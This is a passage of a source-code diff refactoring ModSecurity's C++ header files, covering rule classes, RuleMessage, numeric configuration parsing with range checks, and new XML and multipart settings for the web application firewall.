TransformationResults = std::list; @@ -67,33 +64,23 @@ using MatchActions = std::vector; class Rule { public: - Rule(std::unique_ptr fileName, int lineNumber) - : m_fileName(std::make_shared(*fileName)), + Rule(const std::string &fileName, int lineNumber) + : m_fileName(fileName), m_lineNumber(lineNumber), m_phase(modsecurity::Phases::RequestHeadersPhase) { } - Rule(const Rule &other) : - m_fileName(other.m_fileName), - m_lineNumber(other.m_lineNumber), - m_phase(other.m_phase) - { } - - Rule &operator=(const Rule& other) { - m_fileName = other.m_fileName; - m_lineNumber = other.m_lineNumber; - m_phase = other.m_phase; - return *this; - } + Rule(const Rule &other) = delete; + + Rule &operator=(const Rule &other) = delete; virtual ~Rule() {} virtual bool evaluate(Transaction *transaction) = 0; - virtual bool evaluate(Transaction *transaction, - std::shared_ptr rm) = 0; + virtual bool evaluate(Transaction *transaction, RuleMessage &ruleMessage) = 0; - std::shared_ptr getFileName() const { + const std::string& getFileName() const { return m_fileName; } @@ -105,18 +92,15 @@ class Rule { void setPhase(int phase) { m_phase = phase; } virtual std::string getReference() { - if (m_fileName) { - return *m_fileName + ":" + std::to_string(m_lineNumber); - } - return "<>:" + std::to_string(m_lineNumber); + return m_fileName + ":" + std::to_string(m_lineNumber); } virtual bool isMarker() { return false; } private: - std::shared_ptr m_fileName; - int m_lineNumber; + const std::string m_fileName; + const int m_lineNumber; // FIXME: phase may not be neede to SecMarker. int m_phase; }; diff --git a/headers/modsecurity/rule_marker.h b/headers/modsecurity/rule_marker.h index b8b835efda..bfd3e387eb 100644 --- a/headers/modsecurity/rule_marker.h +++ b/headers/modsecurity/rule_marker.h @@ -13,15 +13,6 @@ * */ -#ifdef __cplusplus -#include -#include -#include -#include -#include -#include -#endif - #ifndef HEADERS_MODSECURITY_RULE_MARKER_H_ #define HEADERS_MODSECURITY_RULE_MARKER_H_ @@ -32,6 +23,9 @@ #ifdef __cplusplus +#include +#include + namespace modsecurity { @@ -39,48 +33,34 @@ class RuleMarker : public Rule { public: RuleMarker( const std::string &name, - std::unique_ptr fileName, + const std::string &fileName, int lineNumber) - : Rule(std::move(fileName), lineNumber), - m_name(std::make_shared(name)) { } - - RuleMarker(const RuleMarker& r) : - Rule(r), - m_name(r.m_name) - { } - - RuleMarker &operator =(const RuleMarker& r) { - Rule::operator = (r); - m_name = r.m_name; - return *this; - } + : Rule(fileName, lineNumber), + m_name(name) { } + + RuleMarker(const RuleMarker &r) = delete; - virtual bool evaluate(Transaction *transaction, - std::shared_ptr rm) override { + RuleMarker &operator=(const RuleMarker &r) = delete; + + virtual bool evaluate(Transaction *transaction, RuleMessage &ruleMessage) override { return evaluate(transaction); } virtual bool evaluate(Transaction *transaction) override { - if (transaction->isInsideAMarker()) { - if (*transaction->getCurrentMarker() == *m_name) { + if (transaction->isInsideAMarker() && + *transaction->getCurrentMarker() == m_name) { transaction->removeMarker(); // FIXME: Move this to .cc // ms_dbg_a(transaction, 4, "Out of a SecMarker " + *m_name); - } } return true; }; - - std::shared_ptr getName() { - return m_name; - } - bool isMarker() override { return true; } private: - std::shared_ptr m_name; + const std::string m_name; }; diff --git a/headers/modsecurity/rule_message.h b/headers/modsecurity/rule_message.h index 51eca0e8ef..ba30bc889c 100644 --- a/headers/modsecurity/rule_message.h +++ b/headers/modsecurity/rule_message.h @@ -13,14 +13,6 @@ * */ -#ifdef __cplusplus -#include -#include -#include -#include -#include -#endif - #ifndef HEADERS_MODSECURITY_RULE_MESSAGE_H_ #define HEADERS_MODSECURITY_RULE_MESSAGE_H_ @@ -31,8 +23,10 @@ #ifdef __cplusplus -namespace modsecurity { +#include +#include +namespace modsecurity { class RuleMessage { @@ -42,168 +36,67 @@ class RuleMessage { ClientLogMessageInfo = 4 }; - /** - * - * FIXME: RuleMessage is currently too big, doing a lot of - * unnecessary data duplication. Needs to be shrink down. - * - */ - RuleMessage(RuleWithActions *rule, Transaction *trans) : - m_accuracy(rule->m_accuracy), - m_clientIpAddress(trans->m_clientIpAddress), - m_data(""), - m_id(trans->m_id), - m_isDisruptive(false), - m_match(""), - m_maturity(rule->m_maturity), - m_message(""), - m_noAuditLog(false), - m_phase(rule->getPhase() - 1), - m_reference(""), - m_rev(rule->m_rev), + RuleMessage(const RuleWithActions &rule, const Transaction &trans) : m_rule(rule), - m_ruleFile(rule->getFileName()), - m_ruleId(rule->m_ruleId), - m_ruleLine(rule->getLineNumber()), - m_saveMessage(true), - m_serverIpAddress(trans->m_serverIpAddress), - m_severity(0), - m_uriNoQueryStringDecoded(trans->m_uri_no_query_string_decoded), - m_ver(rule->m_ver), - m_tags() - { } - - explicit RuleMessage(RuleMessage *rule) : - m_accuracy(rule->m_accuracy), - m_clientIpAddress(rule->m_clientIpAddress), - m_data(rule->m_data), - m_id(rule->m_id), - m_isDisruptive(rule->m_isDisruptive), - m_match(rule->m_match), - m_maturity(rule->m_maturity), - m_message(rule->m_message), - m_noAuditLog(rule->m_noAuditLog), - m_phase(rule->m_phase), - m_reference(rule->m_reference), - m_rev(rule->m_rev), - m_rule(rule->m_rule), - m_ruleFile(rule->m_ruleFile), - m_ruleId(rule->m_ruleId), - m_ruleLine(rule->m_ruleLine), - m_saveMessage(rule->m_saveMessage), - m_serverIpAddress(rule->m_serverIpAddress), - m_severity(rule->m_severity), - m_uriNoQueryStringDecoded(rule->m_uriNoQueryStringDecoded), - m_ver(rule->m_ver), - m_tags(rule->m_tags) - { } - - RuleMessage(const RuleMessage& ruleMessage) - : m_accuracy(ruleMessage.m_accuracy), - m_clientIpAddress(ruleMessage.m_clientIpAddress), - m_data(ruleMessage.m_data), - m_id(ruleMessage.m_id), - m_isDisruptive(ruleMessage.m_isDisruptive), - m_match(ruleMessage.m_match), - m_maturity(ruleMessage.m_maturity), - m_message(ruleMessage.m_message), - m_noAuditLog(ruleMessage.m_noAuditLog), - m_phase(ruleMessage.m_phase), - m_reference(ruleMessage.m_reference), - m_rev(ruleMessage.m_rev), - m_rule(ruleMessage.m_rule), - m_ruleFile(ruleMessage.m_ruleFile), - m_ruleId(ruleMessage.m_ruleId), - m_ruleLine(ruleMessage.m_ruleLine), - m_saveMessage(ruleMessage.m_saveMessage), - m_serverIpAddress(ruleMessage.m_serverIpAddress), - m_severity(ruleMessage.m_severity), - m_uriNoQueryStringDecoded(ruleMessage.m_uriNoQueryStringDecoded), - m_ver(ruleMessage.m_ver), - m_tags(ruleMessage.m_tags) - { } - - RuleMessage &operator=(const RuleMessage& ruleMessage) { - m_accuracy = ruleMessage.m_accuracy; - m_clientIpAddress = ruleMessage.m_clientIpAddress; - m_data = ruleMessage.m_data; - m_id = ruleMessage.m_id; - m_isDisruptive = ruleMessage.m_isDisruptive; - m_match = ruleMessage.m_match; - m_maturity = ruleMessage.m_maturity; - m_message = ruleMessage.m_message; - m_noAuditLog = ruleMessage.m_noAuditLog; - m_phase = ruleMessage.m_phase; - m_reference = ruleMessage.m_reference; - m_rev = ruleMessage.m_rev; - m_rule = ruleMessage.m_rule; - m_ruleFile = ruleMessage.m_ruleFile; - m_ruleId = ruleMessage.m_ruleId; - m_ruleLine = ruleMessage.m_ruleLine; - m_saveMessage = ruleMessage.m_saveMessage; - m_serverIpAddress = ruleMessage.m_serverIpAddress; - m_severity = ruleMessage.m_severity; - m_uriNoQueryStringDecoded = ruleMessage.m_uriNoQueryStringDecoded; - m_ver = ruleMessage.m_ver; - m_tags = ruleMessage.m_tags; - return *this; + m_transaction(trans) + { + reset(true); } - void clean() { - m_data = ""; - m_match = ""; + RuleMessage(const RuleMessage &ruleMessage) = default; + RuleMessage &operator=(const RuleMessage &ruleMessage) = delete; + + void reset(const bool resetSaveMessage) + { + m_data.clear(); m_isDisruptive = false; - m_reference = ""; + m_match.clear(); + m_message.clear(); + m_noAuditLog = false; + m_reference.clear(); + if (resetSaveMessage == true) + m_saveMessage = true; m_severity = 0; - m_ver = ""; + m_tags.clear(); } - std::string log() { - return log(this, 0); + std::string log() const { + return log(*this, 0); } - std::string log(int props) { - return log(this, props); + std::string log(int props) const { + return log(*this, props); } - std::string log(int props, int responseCode) { - return log(this, props, responseCode); + std::string log(int props, int responseCode) const { + return log(*this, props, responseCode); } - std::string errorLog() { - return log(this, - ClientLogMessageInfo | ErrorLogTailLogMessageInfo); + std::string errorLog() const { + return log(*this, + ClientLogMessageInfo | ErrorLogTailLogMessageInfo); } - static std::string log(const RuleMessage *rm, int props, int code); - static std::string log(const RuleMessage *rm, int props) { + static std::string log(const RuleMessage &rm, int props, int code); + static std::string log(const RuleMessage &rm, int props) { return log(rm, props, -1); } - static std::string log(const RuleMessage *rm) { + static std::string log(const RuleMessage &rm) { return log(rm, 0); } - static std::string _details(const RuleMessage *rm); - static std::string _errorLogTail(const RuleMessage *rm); + static std::string _details(const RuleMessage &rm); + static std::string _errorLogTail(const RuleMessage &rm); + + int getPhase() const { return m_rule.getPhase() - 1; } - int m_accuracy; - std::shared_ptr m_clientIpAddress; + const RuleWithActions &m_rule; + const Transaction &m_transaction; std::string m_data; - std::shared_ptr m_id; - bool m_isDisruptive; + bool m_isDisruptive = false; std::string m_match; - int m_maturity; std::string m_message; - bool m_noAuditLog; - int m_phase; + bool m_noAuditLog = false; std::string m_reference; - std::string m_rev; - RuleWithActions *m_rule; - std::shared_ptr m_ruleFile; - int m_ruleId; - int m_ruleLine; - bool m_saveMessage; - std::shared_ptr m_serverIpAddress; - int m_severity; - std::shared_ptr m_uriNoQueryStringDecoded; - std::string m_ver; + bool m_saveMessage = true; + int m_severity = 0; std::list m_tags; }; diff --git a/headers/modsecurity/rule_unconditional.h b/headers/modsecurity/rule_unconditional.h index c66fa7c1ea..20cc89a469 100644 --- a/headers/modsecurity/rule_unconditional.h +++ b/headers/modsecurity/rule_unconditional.h @@ -13,15 +13,6 @@ * */ -#ifdef __cplusplus -#include -#include -#include -#include -#include -#include -#endif - #ifndef HEADERS_MODSECURITY_RULE_UNCONDITIONAL_H_ #define HEADERS_MODSECURITY_RULE_UNCONDITIONAL_H_ @@ -34,30 +25,18 @@ #ifdef __cplusplus +#include +#include +#include + namespace modsecurity { class RuleUnconditional : public RuleWithActions { public: - RuleUnconditional( - std::vector *actions, - Transformations *transformations, - std::unique_ptr fileName, - int lineNumber) - : RuleWithActions(actions, transformations, std::move(fileName), lineNumber) { } - - RuleUnconditional(const RuleUnconditional& r) - : RuleWithActions(r) - { } - - RuleUnconditional &operator=(const RuleUnconditional& r) { - RuleWithActions::operator = (r); - return *this; - } - - virtual bool evaluate(Transaction *transaction, std::shared_ptr ruleMessage) override; + using RuleWithActions::RuleWithActions; - private: + virtual bool evaluate(Transaction *transaction, RuleMessage &ruleMessage) override; }; diff --git a/headers/modsecurity/rule_with_actions.h b/headers/modsecurity/rule_with_actions.h index 4b7db43f73..541eb3f4bf 100644 --- a/headers/modsecurity/rule_with_actions.h +++ b/headers/modsecurity/rule_with_actions.h @@ -40,103 +40,46 @@ class RuleWithActions : public Rule { RuleWithActions( Actions *a, Transformations *t, - std::unique_ptr fileName, + const std::string &fileName, int lineNumber); - ~RuleWithActions(); - - RuleWithActions(const RuleWithActions& r) - : Rule(r), - m_rev(r.m_rev), - m_ver(r.m_ver), - m_accuracy(r.m_accuracy), - m_maturity(r.m_maturity), - m_ruleId(r.m_ruleId), - m_chainedRuleChild(r.m_chainedRuleChild), - m_chainedRuleParent(r.m_chainedRuleParent), - m_disruptiveAction(r.m_disruptiveAction), - m_logData(r.m_logData), - m_msg(r.m_msg), - m_severity(r.m_severity), - m_actionsRuntimePos(r.m_actionsRuntimePos), - m_actionsSetVar(r.m_actionsSetVar), - m_actionsTag(r.m_actionsTag), - m_transformations(r.m_transformations), - m_containsCaptureAction(r.m_containsCaptureAction), - m_containsMultiMatchAction(r.m_containsMultiMatchAction), - m_containsStaticBlockAction(r.m_containsStaticBlockAction), - m_isChained(r.m_isChained) - { } - - RuleWithActions &operator=(const RuleWithActions& r) { - Rule::operator = (r); - m_rev = r.m_rev; - m_ver = r.m_ver; - m_accuracy = r.m_accuracy; - m_maturity = r.m_maturity; - m_ruleId = r.m_ruleId; - m_chainedRuleChild = r.m_chainedRuleChild; - m_chainedRuleParent = r.m_chainedRuleParent; - - m_disruptiveAction = r.m_disruptiveAction; - m_logData = r.m_logData; - m_msg = r.m_msg; - m_severity = r.m_severity; - m_actionsRuntimePos = r.m_actionsRuntimePos; - m_actionsSetVar = r.m_actionsSetVar; - m_actionsTag = r.m_actionsTag; - - m_transformations = r.m_transformations; - - m_containsCaptureAction = r.m_containsCaptureAction; - m_containsMultiMatchAction = r.m_containsMultiMatchAction; - m_containsStaticBlockAction = r.m_containsStaticBlockAction; - m_isChained = r.m_isChained; - - return *this; - } - - virtual bool evaluate(Transaction *transaction, std::shared_ptr ruleMessage) override; + ~RuleWithActions() override; + + RuleWithActions(const RuleWithActions &r) = delete; + + RuleWithActions &operator=(const RuleWithActions &r) = delete; virtual bool evaluate(Transaction *transaction) override; + virtual bool evaluate(Transaction *transaction, RuleMessage &ruleMessage) override; void executeActionsIndependentOfChainedRuleResult( Transaction *trasn, bool *containsDisruptive, - std::shared_ptr ruleMessage); + RuleMessage &ruleMessage); void executeActionsAfterFullMatch( Transaction *trasn, bool containsDisruptive, - std::shared_ptr ruleMessage); + RuleMessage &ruleMessage); void executeAction(Transaction *trans, bool containsBlock, - std::shared_ptr ruleMessage, + RuleMessage &ruleMessage, actions::Action *a, bool context); void executeTransformations( - Transaction *trasn, const std::string &value, TransformationResults &ret); - - inline void executeTransformation( - actions::transformations::Transformation *a, - std::shared_ptr *value, - Transaction *trans, - TransformationResults *ret, - std::string *path, - int *nth) const; - + const Transaction *trasn, const std::string &value, TransformationResults &ret); void performLogging(Transaction *trans, - std::shared_ptr ruleMessage, + RuleMessage &ruleMessage, bool lastLog = true, - bool chainedParentNull = false); + bool chainedParentNull = false) const; std::vector getActionsByName(const std::string& name, - Transaction *t); + const Transaction *t); bool containsTag(const std::string& name, Transaction *t); bool containsMsg(const std::string& name, Transaction *t); @@ -166,6 +109,14 @@ class RuleWithActions : public Rule { RuleWithActions *m_chainedRuleParent; private: + inline void executeTransformation( + const actions::transformations::Transformation &a, + std::string &value, + const Transaction *trans, + TransformationResults &ret, + std::string &path, + int &nth) const; + /* actions */ actions::Action *m_disruptiveAction; actions::LogData *m_logData; diff --git a/headers/modsecurity/rule_with_operator.h b/headers/modsecurity/rule_with_operator.h index e2fea4e6ac..026d7375ad 100644 --- a/headers/modsecurity/rule_with_operator.h +++ b/headers/modsecurity/rule_with_operator.h @@ -42,28 +42,26 @@ class RuleWithOperator : public RuleWithActions { variables::Variables *variables, std::vector *actions, Transformations *transformations, - std::unique_ptr fileName, + const std::string &fileName, int lineNumber); - virtual ~RuleWithOperator(); + ~RuleWithOperator() override; - bool evaluate(Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(Transaction *transaction, RuleMessage &ruleMessage) override; - void getVariablesExceptions(Transaction *t, + void getVariablesExceptions(Transaction &t, variables::Variables *exclusion, variables::Variables *addition); inline void getFinalVars(variables::Variables *vars, variables::Variables *eclusion, Transaction *trans); bool executeOperatorAt(Transaction *trasn, const std::string &key, - const std::string &value, std::shared_ptr rm); + const std::string &value, RuleMessage &ruleMessage); static void updateMatchedVars(Transaction *trasn, const std::string &key, const std::string &value); - static void cleanMatchedVars(Transaction *trasn); - std::string getOperatorName() const; + const std::string& getOperatorName() const; virtual std::string getReference() override { return std::to_string(m_ruleId); diff --git a/headers/modsecurity/rules.h b/headers/modsecurity/rules.h index 1aaa65b549..cb83dedb39 100644 --- a/headers/modsecurity/rules.h +++ b/headers/modsecurity/rules.h @@ -41,16 +41,16 @@ namespace modsecurity { class Rules { public: void dump() const { - for (int j = 0; j < m_rules.size(); j++) { - std::cout << " Rule ID: " << m_rules.at(j)->getReference(); - std::cout << "--" << m_rules.at(j) << std::endl; + for (const auto &r : m_rules) { + std::cout << " Rule ID: " << r->getReference(); + std::cout << "--" << r << std::endl; } } int append(Rules *from, const std::vector &ids, std::ostringstream *err) { size_t j = 0; for (; j < from->size(); j++) { - RuleWithOperator *rule = dynamic_cast(from->at(j).get()); + const RuleWithOperator *rule = dynamic_cast(from->at(j).get()); if (rule && std::binary_search(ids.begin(), ids.end(), rule->m_ruleId)) { if (err != NULL) { *err << "Rule id: " << std::to_string(rule->m_ruleId) \ @@ -68,7 +68,7 @@ class Rules { } bool insert(std::shared_ptr rule, const std::vector *ids, std::ostringstream *err) { - RuleWithOperator *r = dynamic_cast(rule.get()); + const RuleWithOperator *r = dynamic_cast(rule.get()); if (r && ids != nullptr && std::binary_search(ids->begin(), ids->end(), r->m_ruleId)) { if (err != nullptr) { *err << "Rule id: " << std::to_string(r->m_ruleId) \ diff --git a/headers/modsecurity/rules_exceptions.h b/headers/modsecurity/rules_exceptions.h index 8d513e76d6..8395048d69 100644 --- a/headers/modsecurity/rules_exceptions.h +++ b/headers/modsecurity/rules_exceptions.h @@ -53,8 +53,8 @@ class RulesExceptions { bool contains(int a); bool merge(RulesExceptions *from); - bool loadRemoveRuleByMsg(const std::string &msg, std::string *error); - bool loadRemoveRuleByTag(const std::string &msg, std::string *error); + bool loadRemoveRuleByMsg(const std::string &msg, const std::string *error); + bool loadRemoveRuleByTag(const std::string &msg, const std::string *error); bool loadUpdateTargetByMsg(const std::string &msg, std::unique_ptr > > v, diff --git a/headers/modsecurity/rules_set.h b/headers/modsecurity/rules_set.h index 4af55f405e..bcf70a17bf 100644 --- a/headers/modsecurity/rules_set.h +++ b/headers/modsecurity/rules_set.h @@ -22,6 +22,7 @@ #include #include #include +#include #endif @@ -74,11 +75,14 @@ class RulesSet : public RulesSetProperties { int merge(RulesSet *rules); int evaluate(int phase, Transaction *transaction); + std::string getParserError() const; std::string getParserError(); void debug(int level, const std::string &id, const std::string &uri, const std::string &msg); + static void cleanMatchedVars(Transaction *trans); + RulesSetPhases m_rulesSetPhases; private: #ifndef NO_LOGS @@ -93,12 +97,13 @@ extern "C" { #endif RulesSet *msc_create_rules_set(void); -void msc_rules_dump(RulesSet *rules); +void msc_rules_dump(const RulesSet *rules); int msc_rules_merge(RulesSet *rules_dst, RulesSet *rules_from, const char **error); int msc_rules_add_remote(RulesSet *rules, const char *key, const char *uri, const char **error); int msc_rules_add_file(RulesSet *rules, const char *file, const char **error); int msc_rules_add(RulesSet *rules, const char *plain_rules, const char **error); +void msc_rules_error_cleanup(const char *error); int msc_rules_cleanup(RulesSet *rules); #ifdef __cplusplus diff --git a/headers/modsecurity/rules_set_properties.h b/headers/modsecurity/rules_set_properties.h index 77b112698c..e16db04665 100644 --- a/headers/modsecurity/rules_set_properties.h +++ b/headers/modsecurity/rules_set_properties.h @@ -13,6 +13,14 @@ * */ +#ifdef WIN32 +#ifdef max +#undef max +#endif +#ifdef min +#undef min +#endif +#endif #ifdef __cplusplus #include @@ -22,6 +30,8 @@ #include #include #include +#include +#include #endif @@ -52,6 +62,11 @@ to = (from == PropertyNotSetBodyLimitAction) ? default : from; \ } +#define merge_xmlargparse_value(to, from, default) \ + if (to == PropertyNotSetConfigXMLParseXmlIntoArgs) { \ + to = (from == PropertyNotSetConfigXMLParseXmlIntoArgs) ? default : from; \ + } + #ifdef __cplusplus namespace modsecurity { @@ -63,48 +78,134 @@ class Driver; using modsecurity::debug_log::DebugLog; using modsecurity::audit_log::AuditLog; -/** @ingroup ModSecurity_CPP_API */ -class ConfigInt { - public: - ConfigInt() : m_set(false), m_value(0) { } - bool m_set; - int m_value; +// template for different numeric int types +template +class ConfigValue { +public: + bool m_set = false; + T m_value = 0; - void merge(ConfigInt *from) { - if (m_set == true || from->m_set == false) { + ConfigValue() = default; + + void merge(const ConfigValue* from) { + if (m_set || !from->m_set) { return; } m_set = true; m_value = from->m_value; - return; } -}; + // default parser + bool parse(const std::string& a, std::string* errmsg = nullptr) { -class ConfigDouble { - public: - ConfigDouble() : m_set(false), m_value(0) { } - bool m_set; - double m_value; + // use an alias type because the template can convert both signed and unsigned int + using LimitSigned = std::conditional_t, std::int64_t, std::uint64_t>; + LimitSigned val; - void merge(ConfigDouble *from) { - if (m_set == true || from->m_set == false) { - return; + // clear errno variable, wee need that later + errno = 0; + + try { + if constexpr (std::is_signed_v) { + val = static_cast(std::stoll(a)); + } else { + val = static_cast(std::stoull(a)); + } } + catch (const std::invalid_argument&) { + // probably can't occur, but we handle it anyway + set_error(errmsg, "Invalid number format (not numeric)"); + return false; + } + catch (const std::out_of_range&) { + // the value is out of range, we can not handle it + set_error(errmsg, "Number out of range"); + return false; + } + catch (...) { // NOSONAR + // we don't need to handle all exceptions, the engine's BISON parser + // does not allow other symbols than numbers + set_error(errmsg, "An unknown error occurred while parsing number."); + return false; + } + + if ( + // The first condition will be true when the value is bigger than int64/uint64 maximum value. + // The second condition checks whether the value fits into int64/uint64, but not + // into the designed type, e.g., uint32; in that case the errno will be 0, but + // we must check the value is not bigger than the defined maximum of the class. + (errno == ERANGE && val == std::numeric_limits::max()) + || + (val > static_cast(maxValue())) + ) { + set_error(errmsg, "Value is too big."); + return false; + } + + if ( + // same as above + (errno == ERANGE && val == std::numeric_limits::min()) + || + (val < static_cast(minValue())) + ) { + set_error(errmsg, "Value is too small."); + return false; + } + + m_value = static_cast(val); m_set = true; - m_value = from->m_value; - return; + return true; + + } + +protected: + // derived classes must implement the maxValue + virtual T maxValue() const = 0; + // minValue is optional + virtual T minValue() const { return 0; } + +private: + static inline void set_error(std::string* err, const char* msg) { + if (err) { + *err = msg; + } + } +}; + +/** @ingroup ModSecurity_CPP_API */ + +class ConfigInt : public ConfigValue { +protected: + int32_t minValue() const override { + return std::numeric_limits::min(); + } + int32_t maxValue() const override { + return std::numeric_limits::max(); + } +}; + +class ConfigUnsignedInt : public ConfigValue { +protected: + uint32_t maxValue() const override { + return std::numeric_limits::max(); + } +}; + +class ConfigUnsignedLong : public ConfigValue { +protected: + uint64_t maxValue() const override { + return std::numeric_limits::max(); } }; class ConfigString { public: - ConfigString() : m_set(false), m_value("") { } - bool m_set; - std::string m_value; + bool m_set = false; + std::string m_value = ""; + ConfigString() = default; - void merge(ConfigString *from) { + void merge(const ConfigString *from) { if (m_set == true || from->m_set == false) { return; } @@ -117,10 +218,10 @@ class ConfigString { class ConfigSet { public: - ConfigSet() : m_set(false), m_clear(false) { } - bool m_set; - bool m_clear; + bool m_set = false; + bool m_clear = false; std::set m_value; + ConfigSet() = default; }; @@ -150,7 +251,7 @@ class ConfigUnicodeMap { static void loadConfig(std::string f, double codePage, RulesSetProperties *driver, std::string *errg); - void merge(ConfigUnicodeMap *from) { + void merge(const ConfigUnicodeMap *from) { if (from->m_set == false) { return; } @@ -177,6 +278,7 @@ class RulesSetProperties { m_secRequestBodyAccess(PropertyNotSetConfigBoolean), m_secResponseBodyAccess(PropertyNotSetConfigBoolean), m_secXMLExternalEntity(PropertyNotSetConfigBoolean), + m_secXMLParseXmlIntoArgs(PropertyNotSetConfigXMLParseXmlIntoArgs), m_tmpSaveUploadedFiles(PropertyNotSetConfigBoolean), m_uploadKeepFiles(PropertyNotSetConfigBoolean), m_debugLog(new DebugLog()), @@ -191,6 +293,7 @@ class RulesSetProperties { m_secRequestBodyAccess(PropertyNotSetConfigBoolean), m_secResponseBodyAccess(PropertyNotSetConfigBoolean), m_secXMLExternalEntity(PropertyNotSetConfigBoolean), + m_secXMLParseXmlIntoArgs(PropertyNotSetConfigXMLParseXmlIntoArgs), m_tmpSaveUploadedFiles(PropertyNotSetConfigBoolean), m_uploadKeepFiles(PropertyNotSetConfigBoolean), m_debugLog(debugLog), @@ -218,7 +321,8 @@ class RulesSetProperties { /** * - * + * The ConfigBoolean enumerator defines the states for configuration boolean values. + * The default value is PropertyNotSetConfigBoolean. */ enum ConfigBoolean { TrueConfigBoolean, @@ -226,6 +330,18 @@ class RulesSetProperties { PropertyNotSetConfigBoolean }; + /** + * + * The ConfigXMLParseXmlIntoArgs enumerator defines the states for the configuration + * XMLParseXmlIntoArgs values. + * The default value is PropertyNotSetConfigXMLParseXmlIntoArgs. + */ + enum ConfigXMLParseXmlIntoArgs { + TrueConfigXMLParseXmlIntoArgs, + FalseConfigXMLParseXmlIntoArgs, + OnlyArgsConfigXMLParseXmlIntoArgs, + PropertyNotSetConfigXMLParseXmlIntoArgs + }; /** * @@ -311,7 +427,7 @@ class RulesSetProperties { }; - static const char *ruleEngineStateString(RuleEngine i) { + static std::string ruleEngineStateString(RuleEngine i) { switch (i) { case DisabledRuleEngine: return "Disabled"; @@ -322,7 +438,7 @@ class RulesSetProperties { case PropertyNotSetRuleEngine: return "PropertyNotSet/DetectionOnly"; } - return NULL; + return std::string{}; } @@ -333,11 +449,24 @@ class RulesSetProperties { case FalseConfigBoolean: return "False"; case PropertyNotSetConfigBoolean: + default: return "Not set"; } - return NULL; } + static std::string configXMLParseXmlIntoArgsString(ConfigXMLParseXmlIntoArgs i) { + switch (i) { + case TrueConfigXMLParseXmlIntoArgs: + return "True"; + case FalseConfigXMLParseXmlIntoArgs: + return "False"; + case OnlyArgsConfigXMLParseXmlIntoArgs: + return "OnlyArgs"; + case PropertyNotSetConfigXMLParseXmlIntoArgs: + default: + return "Not set"; + } + } static int mergeProperties(RulesSetProperties *from, RulesSetProperties *to, std::ostringstream *err) { @@ -357,6 +486,10 @@ class RulesSetProperties { from->m_secXMLExternalEntity, PropertyNotSetConfigBoolean); + merge_xmlargparse_value(to->m_secXMLParseXmlIntoArgs, + from->m_secXMLParseXmlIntoArgs, + PropertyNotSetConfigXMLParseXmlIntoArgs); + merge_boolean_value(to->m_uploadKeepFiles, from->m_uploadKeepFiles, PropertyNotSetConfigBoolean); @@ -464,16 +597,17 @@ class RulesSetProperties { ConfigBoolean m_secRequestBodyAccess; ConfigBoolean m_secResponseBodyAccess; ConfigBoolean m_secXMLExternalEntity; + ConfigXMLParseXmlIntoArgs m_secXMLParseXmlIntoArgs; ConfigBoolean m_tmpSaveUploadedFiles; ConfigBoolean m_uploadKeepFiles; - ConfigDouble m_argumentsLimit; - ConfigDouble m_requestBodyJsonDepthLimit; - ConfigDouble m_requestBodyLimit; - ConfigDouble m_requestBodyNoFilesLimit; - ConfigDouble m_responseBodyLimit; - ConfigInt m_pcreMatchLimit; - ConfigInt m_uploadFileLimit; - ConfigInt m_uploadFileMode; + ConfigUnsignedInt m_argumentsLimit; + ConfigUnsignedInt m_requestBodyJsonDepthLimit; + ConfigUnsignedLong m_requestBodyLimit; + ConfigUnsignedLong m_requestBodyNoFilesLimit; + ConfigUnsignedLong m_responseBodyLimit; + ConfigUnsignedInt m_pcreMatchLimit; + ConfigUnsignedInt m_uploadFileLimit; + ConfigUnsignedInt m_uploadFileMode; DebugLog *m_debugLog; OnFailedRemoteRulesAction m_remoteRulesActionOnFailed; RuleEngine m_secRuleEngine; diff --git a/headers/modsecurity/transaction.h b/headers/modsecurity/transaction.h index b0dc4b7145..545485bf78 100644 --- a/headers/modsecurity/transaction.h +++ b/headers/modsecurity/transaction.h @@ -1,6 +1,7 @@ /* * ModSecurity, http://www.modsecurity.org/ * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * 2026 OWASP (https://owasp.org) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,7 +14,11 @@ * */ +#ifndef HEADERS_MODSECURITY_TRANSACTION_H_ +#define HEADERS_MODSECURITY_TRANSACTION_H_ + #ifdef __cplusplus +#include #include #include #include @@ -31,9 +36,7 @@ #include #include - -#ifndef HEADERS_MODSECURITY_TRANSACTION_H_ -#define HEADERS_MODSECURITY_TRANSACTION_H_ +#include #ifndef __cplusplus typedef struct ModSecurity_t ModSecurity; @@ -56,7 +59,7 @@ typedef struct Rules_t RulesSet; #define ms_dbg(b, c) \ do { \ if (m_rules && m_rules->m_debugLog && m_rules->m_debugLog->m_debugLevel >= b) { \ - m_rules->debug(b, *m_id.get(), m_uri, c); \ + m_rules->debug(b, m_id, m_uri, c); \ } \ } while (0); #else @@ -79,15 +82,14 @@ typedef struct Rules_t RulesSet; #define LOGFY_ADD(a, b) \ yajl_gen_string(g, reinterpret_cast(a), strlen(a)); \ - if (b == NULL) { \ + if (b.data() == NULL) { \ yajl_gen_string(g, reinterpret_cast(""), \ strlen("")); \ } else { \ - yajl_gen_string(g, reinterpret_cast(b), \ - strlen(b)); \ + yajl_gen_string(g, reinterpret_cast(b.data()), \ + b.length()); \ } - #define LOGFY_ADD_INT(a, b) \ yajl_gen_string(g, reinterpret_cast(a), strlen(a)); \ yajl_gen_number(g, reinterpret_cast(b), strlen(b)); @@ -142,6 +144,7 @@ class TransactionAnchoredVariables { m_variableMultipartCrlfLFLines(t, "MULTIPART_CRLF_LF_LINES"), m_variableMultipartDataAfter(t, "MULTIPART_DATA_AFTER"), m_variableMultipartDataBefore(t, "MULTIPART_DATA_BEFORE"), + m_variableMultipartDuplicatePartHeader(t, "MULTIPART_DUPLICATE_PART_HEADER"), m_variableMultipartFileLimitExceeded(t, "MULTIPART_FILE_LIMIT_EXCEEDED"), m_variableMultipartHeaderFolding(t, "MULTIPART_HEADER_FOLDING"), @@ -193,6 +196,8 @@ class TransactionAnchoredVariables { m_variableFilesNames(t, "FILES_NAMES"), m_variableFilesTmpContent(t, "FILES_TMP_CONTENT"), m_variableMultipartFileName(t, "MULTIPART_FILENAME"), + m_variableMultipartFileNameCharset(t, "MULTIPART_FILENAME_CHARSET"), + m_variableMultipartFileNameLanguage(t, "MULTIPART_FILENAME_LANGUAGE"), m_variableMultipartName(t, "MULTIPART_NAME"), m_variableMatchedVarsNames(t, "MATCHED_VARS_NAMES"), m_variableMatchedVars(t, "MATCHED_VARS"), @@ -228,6 +233,7 @@ class TransactionAnchoredVariables { AnchoredVariable 